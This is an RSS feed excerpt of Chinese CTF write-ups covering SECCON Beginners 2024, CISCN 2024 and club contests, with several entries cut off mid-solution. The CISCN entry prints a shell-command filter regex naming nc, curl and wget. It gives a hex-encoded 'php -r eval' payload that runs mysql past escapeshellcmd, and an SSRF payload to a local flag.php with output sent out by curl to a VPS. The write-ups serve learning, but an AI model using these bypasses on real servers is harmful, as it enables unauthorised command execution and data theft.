&lt;h2 id="web">WEB&lt;/h2>
&lt;h3 id="ssrforlfi">ssrforlfi&lt;/h3>
&lt;p>主要代码如下&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-06-16-seccon-beginners-ctf-2024/images/image-3.png">&lt;/p>
&lt;pre tabindex="0">&lt;code>import os
import re
import subprocess
from flask import Flask, request
app = Flask(__name__)
@app.route(&amp;#34;/&amp;#34;)
def ssrforlfi():
url = request.args.get(&amp;#34;url&amp;#34;)
if not url:
return &amp;#34;Welcome to Website Viewer.&amp;lt;br&amp;gt;&amp;lt;code&amp;gt;?url=http://example.com/&amp;lt;/code&amp;gt;&amp;#34;
# Allow only a-z, &amp;#34;, (, ), ., /, :, ;, &amp;lt;, &amp;gt;, @, |
if not re.match(&amp;#39;^[a-z&amp;#34;()./:;&amp;lt;&amp;gt;@|]*$&amp;#39;, url):
return &amp;#34;Invalid URL ;(&amp;#34;
# SSRF &amp;amp; LFI protection
if url.startswith(&amp;#34;http://&amp;#34;) or url.startswith(&amp;#34;https://&amp;#34;):
if &amp;#34;localhost&amp;#34; in url:
return &amp;#34;Detected SSRF ;(&amp;#34;
elif url.startswith(&amp;#34;file://&amp;#34;):
path = url[7:]
if os.path.exists(path) or &amp;#34;..&amp;#34; in path:
return &amp;#34;Detected LFI ;(&amp;#34;
else:
# Block other schemes
return &amp;#34;Invalid Scheme ;(&amp;#34;
try:
# RCE ?
proc = subprocess.run(
f&amp;#34;curl &amp;#39;{url}&amp;#39;&amp;#34;,
capture_output=True,
shell=True,
text=True,
timeout=1,
)
except subprocess.TimeoutExpired:
return &amp;#34;Timeout ;(&amp;#34;
if proc.returncode != 0:
return &amp;#34;Error ;(&amp;#34;
return proc.stdout
if __name__ == &amp;#34;__main__&amp;#34;:
app.run(debug=True, host=&amp;#34;0.0.0.0&amp;#34;, port=4989)
&lt;/code>&lt;/pre>&lt;p>其实一开始看到这即过滤localhost又过滤file://的思路很容易被带着跑，就想着要怎么通过域名打ssrf。但是如果仔细看就会发现就算我现在有办法访问到127.0.0.1或者localhost也无济于事，根本不知道下一步要干嘛&lt;/p></description></item><item><title>2024 CISCN WP</title><link>https://redshome.top/posts/2024-05-28-2024-ciscn-wp/</link><pubDate>Tue, 28 May 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-05-28-2024-ciscn-wp/</guid><description>&lt;h2 id="simple_php">simple_php&lt;/h2>
&lt;p>先看代码&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;lt;?php
ini_set(&amp;#39;open_basedir&amp;#39;, &amp;#39;/var/www/html/&amp;#39;);
error_reporting(0);
if(isset($_POST[&amp;#39;cmd&amp;#39;])){
$cmd = escapeshellcmd($_POST[&amp;#39;cmd&amp;#39;]);
if (!preg_match(&amp;#39;/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\&amp;#39;|\&amp;#34;|id|whoami/i&amp;#39;, $cmd)) {
system($cmd);
}
}
show_source(__FILE__);
?&amp;gt;
&lt;/code>&lt;/pre>&lt;p>open_basedir限制了访问路径，但是对system等命令执行函数是无效的，因此先不管。&lt;/p>
&lt;p>再来看一下escapeshellcmd&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-05-28-2024-ciscn-wp/images/image-19-1024x522.png">&lt;/p>
&lt;p>简单来说就是会对上述字符进行转义，引号会在成对的时候被ban掉&lt;/p>
&lt;p>继续往下看正则，当时队友试出了几个能用的，其中包括&lt;code>ps -e&lt;/code>，&lt;code>base32&lt;/code>。后面看其他师傅的wp还有&lt;code>rev&lt;/code>，&lt;code>paste&lt;/code>等文件读取的指令，后面发现还可以用%0a绕过函数过滤，这里也记录学习一下。&lt;/p>
&lt;p>不过试来试去都没发现flag，但是在/etc/passwd发现了个mysql&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-05-28-2024-ciscn-wp/images/image-20-1024x677.png">&lt;/p>
&lt;p>之前西湖论剑的经验让我第一反应是udf提取，但没法执行或者连接mysql，所以只能另寻他法。后面找到了个-e参数能够执行sql指令&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-05-28-2024-ciscn-wp/images/image-21-1024x438.png">&lt;/p>
&lt;p>结合上面没找到flag文件，因此猜测flag在数据库里。但是-e参数后面跟的内容是要带引号的，所以还是得找到来绕过引号的办法。而且只执行是不行的，还得把内容输出出来，这里就得再套一层echo和反引号，也就是&lt;/p>
&lt;pre tabindex="0">&lt;code>echo `mysql -uroot -proot -e &amp;#39;show databases;&amp;#39;`;
&lt;/code>&lt;/pre>&lt;p>想起来php还有个-r参数能不带引号执行指令&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-05-28-2024-ciscn-wp/images/image-22.png">&lt;/p>
&lt;p>直接上&lt;/p>
&lt;pre tabindex="0">&lt;code>php -r eval($a=1;print_r($a));
&lt;/code>&lt;/pre>&lt;p>在kali尝试是可以的，这里还得想办法往-r后面塞指令。既然绕过不行，那就编码，第一反应就是当时队友试出的base32，但是没找到php中有对应的函数可以解，于是就想到了16进制，可以把16进制编码后的指令用hex2bin解码，再把解码出来的东西给eval执行，到这步我们的payload就变成了&lt;/p>
&lt;pre tabindex="0">&lt;code>php -r eval(hex2bin(6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B));
&lt;/code>&lt;/pre>&lt;p>执行后出现报错&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-05-28-2024-ciscn-wp/images/image-23-1024x440.png">&lt;/p>
&lt;p>分析原因是因为把数字开头的16进制当成数字型数据而不是字符串了，所以在最前面随便加个非数字的字符，用substr截断一下就行&lt;/p>
&lt;pre tabindex="0">&lt;code>php -r eval(hex2bin(substr(_6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B,1)));
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-05-28-2024-ciscn-wp/images/image-25-1024x440.png">&lt;/p>
&lt;p>可以读库了，后面就正常查表即可&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-05-28-2024-ciscn-wp/images/image-26-1024x440.png">&lt;/p>
&lt;h2 id="easy_cms">easy_cms&lt;/h2>
&lt;p>和网上一些师傅的审计不太一样，我当时写出来是队友找到了这个接口&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-05-28-2024-ciscn-wp/images/image-27-1024x89.png">&lt;/p>
&lt;p>对于fuzz了半天没试出什么东西的我断定可控接口肯定只有这几个&amp;hellip;..于是去搜索有哪些文件调用了这几个接口&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-05-28-2024-ciscn-wp/images/image-28-1024x550.png">&lt;/p>
&lt;p>在/dayrui/Fcms/Core/Helper.php找到下面这段&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-05-28-2024-ciscn-wp/images/image-29-1024x148.png">&lt;/p>
&lt;p>明显thumb和text可控，但还是不知道这里的thumb传入进去后在哪处理，后面才在/dayrui/Fcms/Control/Api/Api.php找到下面这段对thumb参数的解析&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-05-28-2024-ciscn-wp/images/image-31-1024x651.png">&lt;/p>
&lt;p>结合后来队友告诉我发现的&lt;code>dr_catcher_data&lt;/code>函数存在curl调用&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-05-28-2024-ciscn-wp/images/image-32-1024x943.png">&lt;/p>
&lt;p>因此推断这里存在ssrf，去访问题目描述给出的flag.php&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-05-28-2024-ciscn-wp/images/image-33.png">&lt;/p>
&lt;p>这里直接构造payload就是&lt;/p>
&lt;pre tabindex="0">&lt;code>?s=api&amp;amp;c=api&amp;amp;m=qrcode&amp;amp;thumb=http://127.0.0.1/flag.php?cmd=ls&amp;amp;text=100
&lt;/code>&lt;/pre>&lt;p>但是这样打过去会发现并没有反应，因为没有回显的地方，因此这里只能用curl请求外带，起一个vps搭一个php服务，分别写1.php和2.php两个文件（记录一下队友教的php一句话简易服务：&lt;code>php -S 0.0.0.0:9999 -t .&lt;/code> ）&lt;/p></description></item><item><title>2024 CISCN校内选拔赛WP</title><link>https://redshome.top/posts/2024-05-12-2024-ciscn%E6%A0%A1%E5%86%85%E9%80%89%E6%8B%94%E8%B5%9Bwp/</link><pubDate>Sun, 12 May 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-05-12-2024-ciscn%E6%A0%A1%E5%86%85%E9%80%89%E6%8B%94%E8%B5%9Bwp/</guid><description>&lt;h2 id="misc">MISC&lt;/h2>
&lt;h3 id="readme">readme&lt;/h3>
&lt;h4 id="方法1">方法1：&lt;/h4>
&lt;p>非常简单易懂的代码。直接过滤了flag.txt，以及相当于过滤了/proc/self/fd (更多关于/proc的内容看&lt;a href="https://www.anquanke.com/post/id/241148">这里&lt;/a>)&lt;/p>
&lt;p>这里的奇技淫巧在于&lt;code>/dev/stdin&lt;/code>、&lt;code>/dev/stdout&lt;/code>、&lt;code>/dev/stderr&lt;/code>，即标准输入、标准输出、标准错误与&lt;code>/proc/self/fd&lt;/code>间的链接。我们可以在kali里尝试一下下面这句指令&lt;/p>
&lt;pre tabindex="0">&lt;code>ls -l /dev/stdin /dev/stdout /dev/stderr
lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stderr -&amp;gt; /proc/self/fd/2
lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stdin -&amp;gt; /proc/self/fd/0
lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stdout -&amp;gt; /proc/self/fd/1
&lt;/code>&lt;/pre>&lt;p>在本地修改一下server.py，在with块中加上一个&lt;code>print(f.fileno())&lt;/code>，起一个docker（因为给了docker-compose.yml，所以直接docker-compose up -d就行），nc连接本地起的服务后就能看到输出了一个数字，这个数字就是flag打开的fd，因此payload：&lt;code>/dev/stdin/../数值&lt;/code>&lt;/p>
&lt;h4 id="方法2">方法2：&lt;/h4>
&lt;p>这种方法同样要起本地自己起docker，思路就是通过 proc 文件系统来尝试读取内存。如果没有 0x100 字节的限制的话就可以直接在 /proc/self/maps 中读取 flag.txt 的位置，然后再通过 /proc/self/map_files/&amp;hellip; 进行读取。但实际上 maps 输出不到 flag.txt 的位置，所以就要想一些其他办法来得到它的地址。&lt;/p>
&lt;p>可以在/proc/self下看到类似的内容。当然这是在本地起的docker中，去除掉了0x100的限制&lt;/p>
&lt;pre tabindex="0">&lt;code>/proc/self/map_files/558c0a022000-558c0a023000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a023000-558c0a024000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a024000-558c0a025000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a025000-558c0a026000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a026000-558c0a027000 /usr/local/bin/python3.11
/proc/self/map_files/7f9ee08ed000-7f9ee08ef000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08ef000-7f9ee08f1000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f1000-7f9ee08f3000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f3000-7f9ee08f4000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f4000-7f9ee08f5000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee0b5b000-7f9ee0b62000 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
/proc/self/map_files/7f9ee0b62000-7f9ee0bb9000 /usr/lib/locale/C.utf8/LC_CTYPE
/proc/self/map_files/7f9ee0bbb000-7f9ee0bcb000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0bcb000-7f9ee0c3e000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c3e000-7f9ee0c98000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c98000-7f9ee0c99000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c99000-7f9ee0c9a000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c9a000-7f9ee0cc0000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0cc0000-7f9ee0e15000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e15000-7f9ee0e68000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e68000-7f9ee0e6c000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e6c000-7f9ee0e6e000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000 /home/ctf/flag.txt
/proc/self/map_files/7f9ee0e7d000-7f9ee0f6b000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee0f6b000-7f9ee111f000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee111f000-7f9ee1202000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee1202000-7f9ee1231000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee1231000-7f9ee1362000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee13a7000-7f9ee13a8000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13a8000-7f9ee13cd000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13cd000-7f9ee13d7000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13d7000-7f9ee13d9000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13d9000-7f9ee13db000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
&lt;/code>&lt;/pre>&lt;p>/proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000 被连接到 flag.txt。&lt;br>
但是这个文件名似乎不是一个固定值，因此我们需要猜测这个文件名。通过搜索后发现它写在 /proc/self/maps 中，并且在 /proc/self/syscall 中找到了一个类似的地址。下面是在题目给的远程环境中的看到的&lt;/p></description></item><item><title>友谊赛WP</title><link>https://redshome.top/posts/2024-04-29-%E5%8F%8B%E8%B0%8A%E8%B5%9Bwp/</link><pubDate>Mon, 29 Apr 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-04-29-%E5%8F%8B%E8%B0%8A%E8%B5%9Bwp/</guid><description>&lt;blockquote>
&lt;p>wp发布时服务器正在维护，可能无法打开平台，明天就能重新进入平台&lt;/p>
&lt;/blockquote>
&lt;h2 id="misc">MISC&lt;/h2>
&lt;h3 id="维多利亚的秘密作者hayneschen">维多利亚的秘密(作者：hayneschen)&lt;/h3>
&lt;p>两个附件，压缩包需要密码打不开，试试伪加密，行不通那就先放一边，找找图片有没有线索&lt;br>
拿到图片常规对图片进行 010 检查，找隐写，发现都没有&lt;br>
简介中说到 &lt;em>海盗们都喜欢把宝藏的钥匙藏在海底下~&lt;/em> 那就应该联想到图片下方还有内容没显示完全&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-29-%E5%8F%8B%E8%B0%8A%E8%B5%9Bwp/images/image-75.png">&lt;/p>
&lt;p>图中 07 E0 代表 PNG 图像的长，02 90 代表 PNG 图像的高，那随便把高修改一下就能发现海底藏着一个二维码&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-29-%E5%8F%8B%E8%B0%8A%E8%B5%9Bwp/images/202307270236427.png">&lt;/p>
&lt;p>扫描二维码发现文本开头是 data:image/png;base64&lt;br>
找到 base64 转图片&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-29-%E5%8F%8B%E8%B0%8A%E8%B5%9Bwp/images/image-76.png">&lt;/p>
&lt;p>找到解压密码，解压后得到&lt;code>flag.txt&lt;/code>和&lt;code>is_me!&lt;/code>&lt;br>
flag 打开发现被骗了，真正的宝藏在&lt;code>is_me!&lt;/code> 中&lt;br>
没有后缀怎么办，010 看看呗&lt;br>
PK 开头，妥妥的 zip，先改 zip 解压试试看，很顺利解压出来了&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-29-%E5%8F%8B%E8%B0%8A%E8%B5%9Bwp/images/image-77.png">&lt;/p>
&lt;p>这内容一看就是 word 文档，不应该用 zip 解压，把文件改为.docx 后缀打开&lt;br>
移除表面的照片后全选文件改一下颜色就能发现一串二进制&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-29-%E5%8F%8B%E8%B0%8A%E8%B5%9Bwp/images/image-78.png">&lt;/p>
&lt;p>把 0 用空格换掉得到&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-29-%E5%8F%8B%E8%B0%8A%E8%B5%9Bwp/images/image-79-1024x147.png">&lt;/p>
&lt;h3 id="新型终端">新型终端&lt;/h3>
&lt;p>一个wasm文件，可以自己从官方github项目上查手册搭一个，这里用wmctf曾出现过的题，套上去搭一个就行&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-29-%E5%8F%8B%E8%B0%8A%E8%B5%9Bwp/images/a15SIyRUfeYWNHp.png">&lt;/p>
&lt;p>base64 flag得到&lt;/p>
&lt;pre tabindex="0">&lt;code>H4sIAAAAAAAAA/MLDnYOcatOSTMyszAzstA1STIy0TUxTTLWTUpMMtc1MzexSEw1M0xMM0irBQAyahiTLAAAAA==
&lt;/code>&lt;/pre>&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-29-%E5%8F%8B%E8%B0%8A%E8%B5%9Bwp/images/image-80-1024x395.png">&lt;/p>
&lt;h3 id="卫继龚的电动车">卫继龚的电动车&lt;/h3>
&lt;p>根据提示，短的为0，长度为1，得到：0111010010101010011000100&lt;/p>
&lt;p>这道题是PT224X，地址位长度为20bit，后4位为数据位，因此截取前20位即可&lt;/p>
&lt;p>flag为：xujc{01110100101010100110}&lt;/p>
&lt;h3 id="光线追踪">光线追踪&lt;/h3>
&lt;p>附件是个ELF，扔到IDA中，发现像是个迷宫题：&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-29-%E5%8F%8B%E8%B0%8A%E8%B5%9Bwp/images/3897d633251cc4ce172d4d376150230b.png">&lt;/p>
&lt;p>找到迷宫坐标数据将其提取出来，比较长这里就不贴了，每组坐标都是[x,y,z]的形式，如前三个是：&lt;/p>
&lt;pre tabindex="0">&lt;code>
[105, 120, 30]
[75, 90, 30]
[135, 90, 30]
&lt;/code>&lt;/pre>&lt;p>因为是三维坐标，所以肯定不是平面能看出来的，我们转战到3d软件中建模呈现坐标，我这里用的是unity。&lt;/p></description></item><item><title>2024第三次线上赛wp</title><link>https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/</link><pubDate>Sun, 07 Apr 2024 00:00:00 +0800</pubDate><guid>https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/</guid><description>&lt;h2 id="misc">MISC&lt;/h2>
&lt;h3 id="卫继龚的日常">&lt;strong>卫继龚的日常&lt;/strong>&lt;/h3>
&lt;p>将题目中的图片抠出来，放进谷歌，识别出是日本横滨北仲桥。&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-1024x536.png">&lt;/p>
&lt;p>根据题意附近应该有JR地铁站，继续谷歌地图，发现附近有JR樱木町站。&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-1-1024x640.png">&lt;/p>
&lt;p>根据题意，接着找附近的商店街。谷歌一下，附近有野毛小路商店街。&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-2-1024x769.png">&lt;/p>
&lt;p> 同时寻找日本知名的一元店，百度到了几个日本知名品牌。&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-3-1024x633.png">&lt;/p>
&lt;p>&lt;strong>如果你是这样做或是以类似思路做的，那么此时你的思路和寻找方向已经偏了。&lt;/strong>&lt;/p>
&lt;p>最关键的原因，还是审题不完全。关键词：5分钟就能到地铁。仔细看题目图片，假设图片是在上下班路途上拍的，那么他必然要经过北仲桥。如果他是从家到地铁经过的北仲桥，那么他家附近的商店街应该在北仲桥附近，而野毛商店街的位置是相反方向。也就是说我应该去找北仲桥附近的商店街，但是找了一圈，没有发现很知名的商店街。&lt;/p>
&lt;p>此时，假如北仲桥是在作者公司附近呢？樱木町站是作者公司附近的地铁站，因此题目图片中，加了一句：“只需要坐5分钟地铁”。&lt;/p>
&lt;p>以樱木町站为起点，5分钟的车程，大致1-2站。继续谷歌，找到JR东日本的路线图。&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-4-1024x770.png">&lt;/p>
&lt;p>根岸线樱木町站，5分钟车程，前后不会超过2站，分别是石川町、关内、横滨、东神奈川。&lt;/p>
&lt;p>以这4个站，再结合谷歌出来的横滨知名商店街&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-5-1024x822.png">&lt;/p>
&lt;p>继续谷歌地图&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-6-1024x661.png">&lt;/p>
&lt;p>在横滨站附近寻找，一无所获&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-7-1024x529.png">&lt;/p>
&lt;p>关内站附近发现伊势佐木町商店街。 &lt;/p>
&lt;p>依次谷歌日本知名的百元品牌，输入CanDo终于发现目标&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-8-1024x492.png">&lt;/p>
&lt;p>&lt;strong>使用谷歌街景&lt;/strong> &lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-9-1024x502.png">&lt;/p>
&lt;h3 id="project-x">Project-X&lt;/h3>
&lt;p>题目给了一个 pcapng 的流量包文件，在分析前先来过一下Vmess协议下数据包加密过程（&lt;a href="https://v2raydocs.web.illinois.edu/config/protocols/vmess.html#outboundconfigurationobject">官方配置文档&lt;/a>、&lt;a href="https://www.bookstack.cn/read/V2RAY/developer-protocols-vmess.md">通信协议文档&lt;/a>）&lt;/p>
&lt;p>假设有如下网络拓补&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-14-1024x270.png">&lt;/p>
&lt;p>此时用户在配置好代理软件后使用vmess协议进行通信，在浏览器中使用google，发起了一个下面这样的数据包（1.1.1.1是用户ip，1145是用户发起请求端口）&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-10-1024x158.png">&lt;/p>
&lt;p>为了方便画图，以上数据包所有内容都包含在请求包体中。此时数据包会被交给代理软件，vmess协议会在数据包前加上一个用来加密该数据包的加密方式&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-11-1024x237.png">&lt;/p>
&lt;p>vmess允许用户自定义加密包体的方式，一般会在配置页面选择auto。这里我们假设使用AES-128-GCM加密，这样请求包体的内容就会被加密成无规则的字节流，被加密后包体就变成这样（遮挡部分表示被加密，后面使用的颜色不同表示加密方式不同）&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-16.png">&lt;/p>
&lt;p>接着会根据用户在配置文件中使用的用户id进行AES-128-CFB加密，将&lt;code>包体加密方式&lt;/code>这部分也加密起来（下面是官方文档给的加密方式，看不懂也没事，只要知道会用一个特定的值与用户id进行加密运算，将这部分给搞糊）&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-15-1024x280.png">&lt;/p>
&lt;p>并且会在前面加上当前时间戳与用户id的md5值作为一个验证值，此时整个数据包就是这个样子&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-17-1024x135.png">&lt;/p>
&lt;p>最后拼接上代理服务器的ip地址与端口，就变成了这样&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-18-1024x94.png">&lt;/p>
&lt;p>当数据包来到防火墙时，由于请求包体被完全加密，防火墙无法识别出用户意图，且代理服务器不在防火墙黑明单，于是就会放行数据包。代理服务器拿到数据包后，会先开一个大小为30～90左右的数组，对当前时间戳的+-30秒进行逐个的md5校验，当数据包中携带的校验值与数组中某个值匹配后，就会认定该数据包为有效数据包，于是对后面被加密的两个部分进行解密。解密后就重新拿到了下面这个数据包&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-16.png">&lt;/p>
&lt;p>接着再进行一层解密，就能得到我们的请求意图。这便是最原始的vmess协议通信过程。这里有一个配置信息我们没有说到，就是额外id。其实额外id的存在就是为了防止在同一时间段内发送大量数据包导致校验值重复，比如原本校验值是&lt;code>md5(11451)&lt;/code>，当额外id为1时就有&lt;code>md5(11452)&lt;/code>，以此类推。但这种验证方式也有局限性，在实际使用中已被发现存在被重放攻击的风险，具体可以看&lt;a href="https://github.com/v2ray/v2ray-core/issues/2523">这篇&lt;/a>，下面是官方文档对这一风险的应对手段&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-19-1024x349.png">&lt;/p>
&lt;p>VMessMD5 被弃用的原因是因为它能够被很容易地通过主动探测的手段检测到，见上面提到的那篇 &lt;a href="https://github.com/v2ray/v2ray-core/issues/2523">v2ray-core#2523&lt;/a>。&lt;/p>
&lt;p>简单来说就是使用AEAD认证的方式取代我们上述的md5验证值。这样即便防火墙试图修改被加密的数据包，被修改的数据包发送到代理服务器后也会被丢弃，就能避免重放攻击的风险。置方式也很简单，就是将额外id设置为0。而在最新版v2ray-core中，已经对vmess协议强制使用AEAD认证&lt;/p>
&lt;p>&lt;img loading="lazy" src="https://redshome.top/posts/2024-04-07-2024%E7%AC%AC%E4%B8%89%E6%AC%A1%E7%BA%BF%E4%B8%8A%E8%B5%9Bwp/images/image-20-1024x125.png">&lt;/p>
&lt;p>介绍完vmess协议的通信原理后，再来看看赛题。这道题就是AEAD 的加密方式&lt;/p>
&lt;p>用wireshark翻流量可以得到一个 v2ray 的 json 配置文件，也是从这里确定了是VMess流量分析&lt;/p>
